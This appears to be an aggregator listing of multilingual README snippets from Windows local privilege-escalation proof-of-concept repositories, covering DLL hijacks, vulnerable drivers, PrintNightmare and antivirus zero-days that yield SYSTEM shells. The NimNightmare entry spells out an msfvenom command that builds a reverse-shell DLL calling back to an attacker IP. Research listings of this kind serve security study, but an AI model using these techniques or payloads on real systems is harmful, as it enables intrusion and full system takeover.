faxhell

faxhell "Fax Shell" Fax サービスと Ualapi.dll に基づく DLL ハイジャックを使用した Proof-of-Concept のバインドシェル。 詳細は次の記事をご覧ください: https://windows-internals.com/faxing-your-way-to-system/ How to use Ualapi.dll をビルドし、c:\windows\system32 に配置します。 Fax サービスを起動すると、DLL が読み込まれ、エクスポート UalStart が呼び出されます。UalStart...

CVE-2017-0213

CVE-2017-0213 ここでGoogle Project Zeroチームが提供したコードを使用しました： https://github.com/WindowsExploits/Exploits/tree/master/CVE-2017-0213 私が行った変更により、プログラムがpowershellのワンライナーを呼び出し、ターゲット上でEmpireエージェントを取得できるようになります。 これをEmpire経由での権限昇格に使用します。...

awesome_windows_logical_bugs

awesomewindowslogicalbugs Creé este repositorio para las personas que quieren aprender sobre bugs lógicos de escalada de privilegios en Windows. También añadí algunos de mis hallazgos. Puedes contactarme vía @404death para añadir un buen artículo que me haya perdido. work in progress WIP , I'm...

RoguePlanet

RoguePlanet RoguePlanet Windows Defender 漏洞 欢迎回来，各位！！！ 该漏洞利用是一个竞态条件，因此成败难料。我已在某些机器上实现了 100% 的成功率，但在其他机器上却很难奏效。 该漏洞利用已在 Windows 11（正式版频道 + Canary）和安装了 2026 年 6 月补丁的 Windows 10 上进行了测试。然而，PoC 在 Windows Server 上无法工作，因为标准用户无法挂载 ISO 镜像。我确信所有 Windows Server 版本同样存在漏洞，但当我发现 PoC 在 Windows Server...

vss-fr2system

vss-fr2system 两个小型工具，可将 Windows 上的任意文件读取 漏洞转化为 SYSTEM Shell 。 vssfreeze/ —— 以标准用户 身份创建卷影副本，然后保持其打开状态，以便你有足够时间从中读取 SAM/SECURITY/SYSTEM 配置单元 fr2system/ —— 获取你复制出的配置单元，离线解密本地 NTLM 哈希，并弹出 SYSTEM Shell 配合任何以 SYSTEM 身份运行（或能够读取 \?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN... 路径）的任意文件读取原语，这在默认的...

CVE-2021-21551

CVE-2021-21551 针对 CVE-2021-21551 的 SYSTEM 利用程序 SpoolPrinter 利用 SeImpersonatePrivileges 进行权限提升，这归功于 @ForrestOrr https://github.com/forrest-orr/DoubleStar/tree/main/Payloads/Source/Stage3SpoolPotato 我基本上只是把利用函数塞进了他的代码中，并做了微乎其微的改动。 NtQuerySystemInformation 几乎是从 @VoidSec...

Lenovo-CVE-2025-8061

Lenovo-CVE-2025-8061 PoC para obtener una shell de sistema explotando el controlador LnvMSRIO.sys 3.1.0.36. Todo el crédito es para el autor original Luis Casvella de Quarkslab. Esto funciona contra el último Windows 11 Versión 24H2 ¡con KVAShadowing y Core Isolation desactivados! !NOTE Esto fue...

PrintNightmare-LPE

CVE-2021-1675（PrintNightmare） 针对 CVE-2021-1675（Windows 打印后台处理程序特权提升漏洞）的系统 shell PoC 致谢：彭志宁（@edwardzpeng）和李雪峰（@lxf02942370） 参考：https://github.com/afwu/PrintNightmare Windows 10 Windows Server 2012 感谢所有发现此漏洞的研究人员。 @404death...

globalprotect-ca-cert-ipc

c2us.exe - 以登录用户在桌面会话中的身份启动命令。在本例中，以 SYSTEM 身份在非特权用户的桌面会话中启动 cmd.exe。 c2us.c - c2us.exe 的源代码。 epinject.exe - 入口点注入器，用于生成新进程并在其入口点注入代码。 loadgpsend.bin - 使用 epinject.exe 注入 PanGPA.exe 的载荷，用于运行主漏洞利用主体 c:\windows\temp\gpsend.dll crypt.c - 与 Globalprotect 兼容的加密实现。 gpcaupgrade.c - 主要漏洞利用代码。 gpupgrade.d...

CVE-2019-0708-EXP-Windows

CVE-2019-0708-EXP-Windows-Version お断り 著者のPOCは研究目的のみです。読者が本POCを他の目的に使用した場合、著者は一切の責任を負いません。 目次 toc 紹介 CVE-2019-0708-EXP-Windows版は単一ファイルのexeとして動作し、Linux、Python、Ruby等は不要です。実行後、現在のコンソールに直接System権限のシェルが起動します。 コンパイルは全静的ライブラリモードを採用し、すべてのDLLをインライン化、netcatとopensslを統合、プログレスバー表示とシェルのエコー操作をサポートします。 再現環境 1...

CVE-2026-62735

CVE-2026-62735 Information This vulnerability was originally discovered by Siyeon Wi. I reproduced the vulnerability independently for educational and case-study purposes. The vulnerability was also demonstrated at Pwn2Own Berlin 2026. References: TrendAI Zero Day Initiative status TrendAI Zero D...

NimNightmare

CVE-2021-1675 LPE PoC 不是我的漏洞利用！只是想玩玩 nim 中的 winim 库。 用法 使用 msfvenom -p windows/x64/shellreversetcp LHOST=192.168.8.237 LPORT=4444 -f dll msfvenom.dll 生成 DLL 载荷，然后在攻击机上启动监听程序。 在受害机上运行 .\nimnightmare.exe 即可获得 SYSTEM 权限的 shell。...

CVE-2026-49176_LPE_POC

CVE-2026-49176 SYSTEM Shell PoC Local privilege-escalation proof of concept for the Windows WalletService vulnerability fixed in July 2026. Technical write-up: CVE-2026-49176 Exploit Development: WalletService to SYSTEM. A standard user creates a Wallet ESE database containing a persisted callbac...

PrettyPrague

PrettyPrague GenDigital Avast 杀毒软件零日权限提升漏洞 这是又一个杀毒软件厂商的零日漏洞，我不太确定，但我相信该漏洞同样影响其他 GenDigital 产品（例如 AVG、Norton……） 目前该 PoC 兼容任何版本的 Avast 杀毒软件。 该 PoC 通过滥用 Avast 沙箱中的漏洞来转储 SAM 数据库，并生成一个完整的 SYSTEM shell。在撰写本文时，该 PoC 适用于完全修补的 Avast 杀毒软件 + 已修补的 Windows 11 25H2...

CVE-2022-25949

CVE-2022-25949 Kingsoft Antivirus KWatch Driver（バージョン2009.3.17.77）におけるローカルのEoP脆弱性の、数年前のエクスプロイトです。 2009年...？ この問題を2014年1月に報告し、8年以上後にCVEの通知を受けました。自分の古いコードを見つけられ、それだけの時間がかかったことが面白いので、これをアップロードすることにしました。 したがって、新しいCVEにもかかわらず、これは新しい脆弱性ではないはずです。簡単な検索で、既に同じように見える脆弱性の報告が複数あることがわかりました。 タイムライン...

DirCreate2System

DirCreate2System 利用 Windows 错误报告，将特权目录创建漏洞武器化以获得 NT AUTHORITY\SYSTEM 权限 简短描述： 我发现 comctl32.dll （系统目录中缺失，实际上并不存在）已被 wermgr.exe 通过 Windows 错误报告执行 schtasks 时加载。这意味着如果我们能够创建一个名为 C:\windows\system32\wermgr.exe.local 的文件夹，并赋予其完全控制 ACL，就可以在该文件夹中劫持 comctl32.dll 。于是，我编写了这个 PoC，作为一种目录创建到 NT AUTHORITY\SYSTE...

CVE-2019-12476

ADSelfService-Plus-PoC CVE-2019-12476 ADSelfService Plus versión 4.3.3 PoC para una evasión de autenticación en Windows 10. Afecta a todas las versiones de Windows Video del PoC Pasos para reproducir 1. Desconéctese de su red empresarial 2. Conéctese a su propio punto de acceso 3. Haga clic en...

SeManageVolumeExploit

SeManageVolumeExploit 此漏洞为机器上的所有用户授予对 C:\ 驱动器的完全权限。 在令牌中启用该特权 使用 SYNCHRONIZE | FILETRAVERSE 创建指向 \.\C: 的句柄 发送 FSCTLSDGLOBALCHANGE，将 S-1-5-32-544 替换为 S-1-5-32-545 覆盖 "Printconfig.dll" 以获取 SYSTEM Shell 访问权限 在受保护目录中创建用户可控文件的能力，为权限提升带来了多种可能性。其中相对简单的技术之一，是将位于 "C:\Windows\System32\spool\drivers\x64\3" ...

SharpPolarBear

SharpPolarBear これは、SandboxEscaperによって公開されたエクスプロイトの1つを武器化したバージョンです。https://github.com/SandboxEscaper/polarbearrepo コードの大部分は、rasta-mouseのCollectorServiceリポジトリhttps://github.com/rasta-mouse/CollectorServiceから来ています。元のSandboxEscaperのC++コードからCVE-2019-0841のコードをCに変更し、いくつかのチェックを追加しただけです。...

CVE-2026-62735

CVE-2026-62735 Information This vulnerability was originally discovered by Siyeon Wi. I reproduced the vulnerability independently for educational and case-study purposes. The vulnerability was also demonstrated at Pwn2Own Berlin 2026. References: TrendAI Zero Day Initiative status TrendAI Zero D...